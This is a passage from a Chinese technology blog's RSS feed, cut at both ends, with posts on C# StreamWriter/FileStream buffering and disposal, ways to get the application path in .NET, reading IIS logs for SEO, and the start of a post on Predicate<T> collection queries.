&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;this.stream.Flush();&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;}&amp;nbsp;&amp;nbsp;&lt;br /&gt;//StreamWriter.write把数据写入StreamWriter缓冲区中&lt;br /&gt;public override void Write(string value)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; if (value != null)&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;int length = value.Length;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;int sourceIndex = 0;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;while (length &amp;gt; 0)&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;if (this.charPos == this.charLen)&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; this.Flush(false, false);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;int count = this.charLen - this.charPos;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;if (count &amp;gt; length)&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; count = length;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;value.CopyTo(sourceIndex, this.charBuffer, this.charPos, count);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;this.charPos += count;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;sourceIndex += count;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;length -= count;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;if (this.autoFlush)&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;this.Flush(true, false);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;//StreamWriter.Flush把StreamWriter缓冲区内容写入Stream的缓冲区&lt;br /&gt;private void Flush(bool flushStream, bool flushEncoder)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; if (this.stream == null)&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;__Error.WriterClosed();&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; if (((this.charPos != 0) || flushStream) || flushEncoder)&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;if (!this.haveWrittenPreamble)&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;this.haveWrittenPreamble = true;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;byte[] preamble = this.encoding.GetPreamble();&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;if (preamble.Length &amp;gt; 0)&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp; this.stream.Write(preamble, 0, preamble.Length);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;int count = this.encoder.GetBytes(this.charBuffer, 0, this.charPos, this.byteBuffer, 0, flushEncoder);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;this.charPos = 0;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;if (count &amp;gt; 0)&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;this.stream.Write(this.byteBuffer, 0, count);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;if (flushStream)&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;this.stream.Flush();&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;通过上面的代码可以明白，真正完成写入文件的也是Flush方法，因为它的工作是调用了FileStream的write和flush方法。而在StreamWriter的Close和Dispose的方法中则是调用了StreamWriter的Flush方法写入文件，然后用FileStream.Close方法关闭流。&lt;br /&gt;&lt;br /&gt;所以在关闭具有 StreamWriter 的实例的应用程序或任何代码块之前，确保调用 StreamWriter 的 Close 或 Flush。达到此目的的最佳机制之一是用 C# using 块创建该实例，这样将确保调用编写器的 Dispose 方法，从而正确关闭该实例。另外在StreamWriter中有一个AutoFlush属性，如果设置为True，则在调用writer方法后会自动调用Flush方法。&lt;br /&gt;&lt;br /&gt;3 FileStream和StreamWriter的依赖关系&lt;br /&gt;如果我们使用public StreamWriter(string path)构造方法不会存在这个问题，因为FileStrem对象是内部控制的，如果我们用StreamWriter(Stream)构造方法就可能存在一些问题。&lt;br /&gt;&lt;br /&gt;view plaincopy to clipboardprint?&lt;br /&gt;static void Main(string[] args)&amp;nbsp; &amp;nbsp;&lt;br /&gt;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; FileStream fs = null；&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;StreamWriter sw = null；&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; try&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;fs = new FileStream(@&amp;quot;c:\text.txt&amp;quot;, FileMode.Create);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;sw = new StreamWriter(fs);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;string message = &amp;quot;This is StreamWriter\r\n&amp;quot;;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;for (int i = 0; i &amp;lt; 10; i++)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;message += message;&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;sw.Write(message);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; catch (Exception ex)&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(ex.Message);&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; finally&amp;nbsp;&amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;fs.Close();&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;sw.Close();&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.ReadKey();&amp;nbsp; &amp;nbsp;&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&amp;nbsp; &amp;nbsp;&lt;br /&gt;}&amp;nbsp;&amp;nbsp;&lt;br /&gt;static void Main(string[] args)&lt;br /&gt;{&lt;br /&gt;&amp;nbsp; &amp;nbsp; FileStream fs = null；&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;StreamWriter sw = null；&lt;br /&gt;&amp;nbsp; &amp;nbsp; try&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;fs = new FileStream(@&amp;quot;c:\text.txt&amp;quot;, FileMode.Create);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;sw = new StreamWriter(fs);&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;string message = &amp;quot;This is StreamWriter\r\n&amp;quot;;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;for (int i = 0; i &amp;lt; 10; i++)&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;message += message;&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;sw.Write(message);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; catch (Exception ex)&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.WriteLine(ex.Message);&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;&amp;nbsp; &amp;nbsp; finally&lt;br /&gt;&amp;nbsp; &amp;nbsp; {&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;fs.Close();&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;sw.Close();&lt;br /&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp;Console.ReadKey();&lt;br /&gt;&amp;nbsp; &amp;nbsp; }&lt;br /&gt;} &lt;br /&gt;&lt;br /&gt;执行上面的代码的时候会出现Dispose异常，无法访问已经关闭的文件。这是因为我们先关闭了文件流，然后在关闭StreamWriter对象。而StreamWriter对象的Close方法实际是关闭当前的 StreamWriter 对象和基础流。也就是说我们只需调用这一个方法就可以了。而如果在数据写入前调用了FileStream的Close方法，那么数据最终是无法写入的，还会引发异常。所以在写入文件时，最好只调用StreamWriter对象的Close方法就行了。&lt;br /&gt;&lt;br /&gt;上面说过了没有调用Close方法导致部分数据没有写入，这是因垃圾回收造成的。当我们调用完write方法后，没有调用close，系统发现StreamWriter和FileStream对象不可达，会对他们进行终结操作，但是终结的顺序是不确定的。如果先关闭了FileStream会出现数据无法写入。&lt;span class=&quot;t_tag&quot; onclick=&quot;tagshow(event)&quot; href=&quot;tag.php?name=%CE%A2%C8%ED&quot;&gt;微软&lt;/span&gt;为了避免这种情况，就不让StreamWriter方法实现Finalize方法，这样，在程序结束时，没有执行StreamWriter的Finalize方法，也就无法把缓冲区的数据写入FileStream中。而FileStream内部实现了Finalize方法。这也就是为什么FileStream不关闭仍然可以把数据写入文件。所以在使用StreamWriter对象时不显调用Close方法时，缓冲区的数据一定会丢失。&lt;br /&gt;&lt;br /&gt;而且WriterStream的内部缓冲区填满后会自动写入到Stream流中。所以当我们写入的数据很少时，不够填充满数据缓冲区，而且不关闭对象，必然无法写入文件。而当我们写大量数据时，一部分数据在缓冲区满的时候被写入了Stream中，当我们不关闭对象，直接结束程序时，Stream会执行Finalize方法，把数据写入文件，而StreamWriter没有此方法，而且默认的缓冲区大小为4K。如果此时缓冲区中还有数据必定无法被写入，而且大小是1-4K。&lt;br /&gt;&lt;br /&gt;3 BinaryWriter&lt;br /&gt;BinaryWriter对象也可以用写文件，以二进制形式将基元类型写入流，并支持用特定的编码写入字符串。与StreamWriter不同的是，他不存在缓冲区丢失的问题。因为他每次调用Write方法以后说首先把数据写入自己的char[]数组，然后转换为指定编码的Byte[]数组，最后调用Stream的Write方法写入到流的缓冲区。&lt;br /&gt;&lt;br /&gt;BinaryWriter对象也有Flush方法，但是只是简单的调用了Stream的Flush方法，而他的Close和Dispose方法则是调用了Stream的Close方法。和上面一样 BinaryWriter对象也没有实现Finalize方法，但是因为他没有把数据放到自己的缓冲区，每次都是立即写入到流中。所以即便不调用Flush方法或是显式关闭对象，最后也会全部被写入到文件中，因为数据全部在FileStream的缓冲区中，而程序结束时Finalize方法会调用Flush把数据写入文件。&lt;/p&gt;</description>
		<guid>http://blog.0734link.com/Article/668.aspx</guid>
		<trackback:ping>http://blog.0734link.com/Article/668/Trackback.ashx</trackback:ping>
		<comments>http://blog.0734link.com/Article/668.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://blog.0734link.com/Article/668/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://blog.0734link.com/Article/667.aspx</link>
		<title>c#当前应用程序路径</title>
		<author>329084470@qq.com(ceiling)</author>
		<category>DotNet框架</category>
		<pubDate>Wed, 02 Mar 2011 04:20:34 GMT</pubDate>
		<description>&lt;p&gt;应该算是出于对各种DOCK的烦躁（部分DOCK程序在启动程序时，会把当前路径指派为DOCK所在路径，当程序中使用相对路径时，路径对“相对”到DOCK的文件夹里），我在程序中大多使用绝对路径来定位文件方便后来者，在这里总结了下，也摘抄了点网上流传的以我的程序为例物理路径：&lt;/p&gt;&lt;p&gt;E:\c#学习\获取当前路径\获取当前路径\bin\Debug\获取当前路径.exeSystem.Environment.CurrentDirectory;&lt;br /&gt;//很熟悉了,获取和设置当前目录（即该进程从中启动的目录）的完全限定路径。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//返回E:\c#学习\获取当前路径\获取当前路径\bin\Debug&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;System.AppDomain.CurrentDomain.BaseDirectory;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//我用的最多的方法，获取当前 Thread 的当前应用程序域的基目录，它由程序集冲突解决程序用来探测程序集。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug\&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//获取新的 Process 组件并将其与当前活动的进程关联的主模块的完整路径，包含文件名(进程名)。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug\获取当前路径.exe&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;System.AppDomain.CurrentDomain.SetupInformation.ApplicationBase;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//获取和设置包含该应用程序的目录的名称。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//返回&amp;nbsp; E:\c#学习\获取当前路径\获取当前路径\bin\Debug\&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;System.Windows.Forms.Application.StartupPath;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//获取启动了应用程序的可执行文件的路径，不包括可执行文件的名称。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;System.Windows.Forms.Application.ExecutablePath;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//获取启动了应用程序的可执行文件的路径，包括可执行文件的名称。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//返回&amp;nbsp; E:\c#学习\获取当前路径\获取当前路径\bin\Debug\获取当前路径.exe&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;System.IO.Directory.GetCurrentDirectory();&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//获取应用程序的当前工作目录(不可靠)。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//这个方法其实是我最早知道的，但是也是我用的最少的，总感觉基于IO的东西都不怎么可靠&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//至于上面的“（不可靠）”不是我加的，是网上的大大们写的，我只是Copy过来了&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//另外还有一个方法&lt;br /&gt;&amp;nbsp;&lt;br /&gt;&amp;nbsp;this.GetType().Assembly.Location;&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//获取当前进程的完整路径，包含文件名(进程名)。&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//遗憾的静态方法无法使用&lt;br /&gt;&amp;nbsp;&lt;br /&gt;//返回 E:\c#学习\获取当前路径\获取当前路径\bin\Debug\获取当前路径.exe&lt;/p&gt;</description>
		<guid>http://blog.0734link.com/Article/667.aspx</guid>
		<trackback:ping>http://blog.0734link.com/Article/667/Trackback.ashx</trackback:ping>
		<comments>http://blog.0734link.com/Article/667.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://blog.0734link.com/Article/667/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://blog.0734link.com/Article/666.aspx</link>
		<title>网站优化的晴雨表-IIS日志文件</title>
		<author>329084470@qq.com(ceiling)</author>
		<category>SEO优化</category>
		<pubDate>Tue, 01 Mar 2011 03:05:04 GMT</pubDate>
		<description>&lt;p&gt;　　IIS日志纹件中的内容显示了无论是搜索引擎还是用户登录你的网站服务器后留下的跟踪记录。IIS日志的数据对一个SEO从业者来说至关重要，学习看懂IIS日志学会分析IIS日志并根据日志内容及时调整网站优化策略，那么我们来研究下日志纹件的作用。&lt;/p&gt;&lt;p&gt;　　IIS日志纹件中主要记录是“谁”访问了你的网站，主要显示内容为：用户(包含搜索引擎蜘蛛)在什么时间通过你服务器的哪个端口访问了网站域名下的哪个路径，通过访问这个路径后服务器状态码为多少，通过状态码蜘蛛做了哪些相应的动作。每个服务器或空间的日志纹件夹名称都不一样，一般是log纹件夹或logfile纹件夹，通过FTP登录下载就可以。最常见的状态码为：200(成功访问并下载页面显示下载kb数量)、301(永久重定向)、304(访问页面无变动)、400(错误请求)、403 (服务器拒绝请求)、404(死链接)、500(服务器内部错误)、503 (服务不可用)等等。这些状态码对于SEO优化人员必须熟记于心，并会按照状态码及时作出调整。&lt;/p&gt;&lt;p&gt;　　一个网站正式上线后的第一项工作就是提交自己的网站网址和说明到搜索引擎登陆口，一般搜索引擎收到提交的网址后就会自动派出蜘蛛程序(或机器人程序)到你的网站进行爬行。当然这是最理想的状态，一般情况下还需要你去布蜘蛛诱饵来吸引蜘蛛爬取你的网站地址。那么当蜘蛛到达你的网站并开始沿首页进行爬取后就会留下日志记录。我们通过查看日志记录就可以知道哪些搜索引擎在什么时候通过哪些蜘蛛IP服务器爬取了你哪些网站下的路径，并每天查看爬取的变化。 &lt;span class=&quot;V9zsCUz&quot;&gt;计算机&lt;/span&gt;&lt;/p&gt;&lt;p&gt;　　网站上线初期每天都要更新网站内容，添加新的纹章来丰富网站，只有当蜘蛛来爬取了你的网站才会下载并返回搜索引擎服务器进行分析和索引，但是爬取不等于一定会收录，网站收录有很多的条件我们这里不去研究，但没有爬取什么都无从谈起。当蜘蛛来爬取你网站后留下的日志可以分析到蜘蛛到底爬取了哪些路径，还有哪些路径是没有被爬取的，这个时候就是你调整网站站内优化和外链建设的最好指导。&lt;/p&gt;&lt;p&gt;　　搜索引擎蜘蛛其实也扮演者用户的角色来访问你的网站，网站初期蜘蛛的访问频率会很低，但随着网站不断的获取权重后蜘蛛的访问频率就会增加，通过不同的服务器状态码来判断你网站的健康程度，如果你的网站出现经常性的服务器不稳定、大量404死链接、网站更新频率很慢的话，蜘蛛会模仿用户判定网站用户体验不好，如果不及时调整带来的后果就是网站降权。这也就是很多人网站降权了却找不到原因的所在。&lt;/p&gt;&lt;p&gt;　　每天IIS日志显示蜘蛛爬取量在增加的时候也就恭喜你的网站进入了不断成长壮大的阶段，反之蜘蛛爬取的数量在逐步降低的话网站就需要作出调整，一般蜘蛛爬取频率变少爬取路径变少后降权也就随之降临，也就是为什么权重高的网站每天每小时每分钟都有蜘蛛来爬取网站数据，当高权重网站更新了一篇新纹章后为什么会被搜索引擎迅速收录。&lt;/p&gt;&lt;p&gt;　　了解和解读IIS日志关乎到网站的生死存亡，通过分析日志就能够尽量避免降权，只有把握了蜘蛛的动态才能让你的网站权重更高，网站关键词排名更好。每个服务器的操作系统都不一样，相应的日志纹件显示芳式也不尽相同，当总体的爬行数据非常相似，网站的用户体验和发展就掌握在你的手中。&lt;/p&gt;</description>
		<guid>http://blog.0734link.com/Article/666.aspx</guid>
		<trackback:ping>http://blog.0734link.com/Article/666/Trackback.ashx</trackback:ping>
		<comments>http://blog.0734link.com/Article/666.aspx#CommentPostAnchor</comments>
		<wfw:commentRss>http://blog.0734link.com/Article/666/Feeds.ashx</wfw:commentRss>
	</item>
	<item>
		<link>http://blog.0734link.com/Article/665.aspx</link>
		<title>.NET/C#中对对象集合进行查询的方法 以及相关的 Predicate&lt;T&gt; 及 Action&lt;T&gt; 的用法</title>
		<author>329084470@qq.com(ceiling)</author>
		<category>DotNet框架</category>
		<pubDate>Sat, 26 Feb 2011 06:05:09 GMT</pubDate>
		<description>&lt;div id=&quot;cnblogs_post_body&quot;&gt;&lt;p&gt;所谓的对对象集合进行查询的方法，就是指，如何从一个集合中找出符合条件的某些项来。这一次我没有用 自定义对象集合，而是直接使用对象集合，是因为普通的对象集合，如int[], List&amp;lt;int&amp;gt;,这样的东西，也没有统一固定的查询方法，因为对于一个查询来讲，它的条件是多种多样的，所以是无法提供统一固定查询方法的。比如有时候想找出所有大于10的int,有时候又想找所有小于10的int。。。。。。。。。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;所以要完成这样一个任务，传统的编程方式就是定义方法，其中建立循环，然后逐个遍历每一个元素，查看其是否符合条件，然后把符合条件的结果挑出来，放在一个返回值集合中，最后返回给调用者。这样的方法直接了当，清晰易懂。用了好多年了，但是写起来麻烦，简单点的都得个7，8行。于是.NET又进行了改进。&lt;/p&gt;&lt;p&gt;这是.NET2.0时代一种比较笨的方法：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;div class=&quot;cnblogs_code&quot; onclick=&quot;cnblogs_code_show(&apos;322d8a28-71ad-42b0-9672-560227068f7b&apos;)&quot;&gt;&lt;img style=&quot;display: none&quot; id=&quot;code_img_closed_322d8a28-71ad-42b0-9672-560227068f7b&quot; class=&quot;code_img_closed&quot; src=&quot;http://blog.0734link.com/Attach/month_1102/6cwu3l_140608_1.gif&quot; jquery1298696128055=&quot;2&quot; alt=&quot;&quot; /&gt;&lt;img id=&quot;code_img_opened_322d8a28-71ad-42b0-9672-560227068f7b&quot; class=&quot;code_img_opened&quot; onclick=&quot;cnblogs_code_hide(&apos;322d8a28-71ad-42b0-9672-560227068f7b&apos;,event)&quot; src=&quot;http://blog.0734link.com/Attach/month_1102/65zjga_140609_2.gif&quot; alt=&quot;&quot; /&gt;&lt;span class=&quot;cnblogs_code_collapse&quot;&gt;代码1&lt;/span&gt;&lt;div style=&quot;display: block&quot; id=&quot;cnblogs_code_open_322d8a28-71ad-42b0-9672-560227068f7b&quot; class=&quot;cnblogs_code_hide&quot; jquery1298696128055=&quot;1&quot;&gt;&lt;pre&gt;&lt;div&gt;&lt;span style=&quot;color: #008080&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color: 